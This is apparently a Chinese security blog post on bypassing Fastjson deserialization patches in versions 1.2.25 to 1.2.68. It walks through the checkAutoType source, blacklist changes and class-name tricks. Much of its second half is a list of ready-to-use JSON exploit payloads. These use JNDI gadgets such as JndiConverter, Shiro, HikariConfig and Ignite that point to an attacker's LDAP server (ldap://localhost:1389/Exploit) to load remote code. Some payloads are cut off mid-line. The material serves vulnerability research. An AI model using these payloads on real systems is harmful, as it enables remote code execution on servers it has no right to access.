fastjson高版本补丁绕过
补丁分析
1.2.25
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
在获取@type的值后,1.2.24以后的版本新增函数checkAutoType,在类加载之前检查是否允许加载
进入ParseConfig#checkAutoType
在尝试取缓存无法取到的时候,
先进行黑名单过滤,类名不能是以黑名单的开头
黑名单
那基本就是被黑名单限制了,导致异常提前退出异常
若是手动开启了AutoType,那么就是先白名单,再黑名单,再取缓存
流程图
1.2.42
1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点
- 黑名单改为了hash值,防止绕过
- 对于传入的类名,删除开头L和结尾的;
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究 ( 可恶(: ),提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:
GitHub - LeadroyaL/fastjson-blacklist
1.2.43
添加检查
在原本检查L和;基础上检查类名的第二个字符是否为L如果是就直接异常退出
就是排除类名是以LL开头的情况,然后再截取
1.2.48
并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类
设置AutoType
默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
之后的payload 有些需要开启AutoType
无需开启AutoType
低于1.2.47版本的补丁绕过
说明:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
通过缓存绕过,payload如下:
{ |
payload主要是分为两部分
调式
第一部分:
首先java.lang.Class是默认支持的类,所以可以直接从白名单IdentityHashMap中拿出
从白名单中拿出的类默认是MiscCodec这个类来进行反序列化
MiscCodec#deserialze方法中默认是往下读取val属性
然后解析json得到val属性的值
然后加载val对应值的类
在加载类的时候,把对应类加载后,放入mapping缓存,这也是绕过的关键–放入mapping缓存
第二部分
直接先从缓存中获取
因为之前加载前面的类的时候已经放入过mapping了,所以这里能够直接拿到
拿到class后就会直接返回,就不会走到后面触发异常
低于1.2.68版本的补丁绕过
条件
- Fastjson <= 1.2.68
- 利用类必须是expectClass类的子类或实现类,并且不在黑名单中
1.2.68版本后,fastjson新增safemode模式,可以完全关闭AutoType:
https://github.com/alibaba/fastjson/wiki/fastjson_safemode
本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说,本次绕过checkAutoType()函数的攻击步骤为:
- 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
- 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;
假设现在已知这个类(这里我们就自己写一个)
payload如下:
{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"} |
后面获取到JavaBeanDeserializer,直接看deserialze方法
此时已经是已经加载了前面的java.lang.AutoCloseable,所以这里expectClass不为空
在这里expectClassFlag设置为true
到后面
然后loadClass返回
然后还是会检查是否为被ban的相关类,判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断:
总结:第一个 @type
进去什么都没有发生;但是第一个 @type
是作为第二个指定的类里面的 expectClass。所以说白了,loadClass 去作用的类是第一个 @type
;如果这个 @type
是可控的恶意类,可以造成命令执行攻击。
并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中)
这里直接参考b1ue大佬文章,主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。
,相关实际应用为利用fastjson写文件,参考:https://www.yuque.com/yyjccc/pk74ko/de45vsli00bmwtuh
看GitHub官方的diff,主要在ParserConfig.java中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
对比看到expectClass的判断逻辑中,对类名进行了Hash处理再比较哈希黑名单,并且添加了三个类:
网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:
版本 | 十进制Hash值 | 十六进制Hash值 | 类名 |
---|---|---|---|
1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
这就简单粗暴地防住了这几个类导致的绕过问题了。
需要开启AutoType
1.2.25-1.2.41绕过
做法:在@type指定的类前加上’L’,后面加上’;’
如:
{" |
这样绕过了黑名,看看怎么加载类的
流程
在ParseConfig#checkAutoType中
由于开启autoTypeSupport所以其为True,能通过黑名单
到达
跟进
发现类名要是以L开头并且以;结尾就会去除这些字符再递归调用
上面流程又得到了未变化之前的类名,可以正常的加载
1.2.42绕过
做法:在@type指定的类前加上两个’L’,后面加上两个’;’
如:
{" |
由于是递归使用的loadClass所以可以去除两层
1.2.43绕过
操作: 类名前添加’[‘,类名引号外添加’ [{ ‘
{ |
利用前面1.2.41的类似的还有一个if条件,就是以[开头,
尝试直接以[开头,报错
根据报错JdbcRowSetImpl” 后面期望是[而不是’,’那就满足他,在’,’前添加[
还是报错
继续添加{
执行成功
与之前不同的是,进入的是前面的一个if条件
最后得到的类是一个数组类
获取到的反序列就是ObjectArrayCodec
继续跟进
获取具体的类
创建数组JSONArray
然后parseArray
后面的流程应该就一样了
1.2.45绕过(MyBatis JNDI注入链)
1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
条件:
- 高版本开启AutoType
- mybatis相关依赖
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
poc
{ |
过程
触发setter方法
JndiDataSourceFactory#setProperties方法
传入的参数刚好就是键值对
这里会初始化上下文环境
然后就行look
look查询的是键值对(Properties)中key为data_source的值
1.2.62-1.2.68版本
1.2.62
条件:
- 需要开启AutoType;
- JNDI注入利用所受的JDK版本限制;
- 目标服务端需要存在xbean-reflect包
也是新 Gadget 绕过黑名单限制。
依赖
<dependency> |
分析:
org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞,可由其构造函数处触发利用。
触发点在其父类AbstractConverter 的setAsText中
toObject 又调用toObjectImpl
poc
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.0.1:8085/tmuCzovY"} |
1.2.66
条件
- 开启AutoType;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]} |
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTra |
1.2.67
条件:
- 开启AutoType;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
org.apache.shiro.jndi.JndiObjectFactory类PoC:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}} |
其他一些绕过黑名单的Gadget
这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。
1.2.59
com.zaxxer.hikari.HikariConfig类PoC:
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
JSON
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"} |
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
JSON
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""} |
1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
JSON
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
com.caucho.config.types.ResourceRef类PoC:
JSON
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}} |
未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
JSON
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
JSON
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
参考资料
浅析Fastjson1.2.62-1.2.68反序列化漏洞-安全客 - 安全资讯平台
https://drun1baby.top/2022/08/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8704-Fastjson1-2-62-1-2-68%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-1-2-62-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
各个版本的payload
- FastJsonParty/Fastjson全版本检测及利用-Poc.md at main · lemono0/FastJsonParty
- GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合
Reference
- Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog
- https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Bypass/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType/Fastjson1.2.25-1.2.47%E7%BB%95%E8%BF%87%E6%97%A0%E9%9C%80AutoType.md
- Java安全学习——Fastjson反序列化漏洞 - 枫のBlog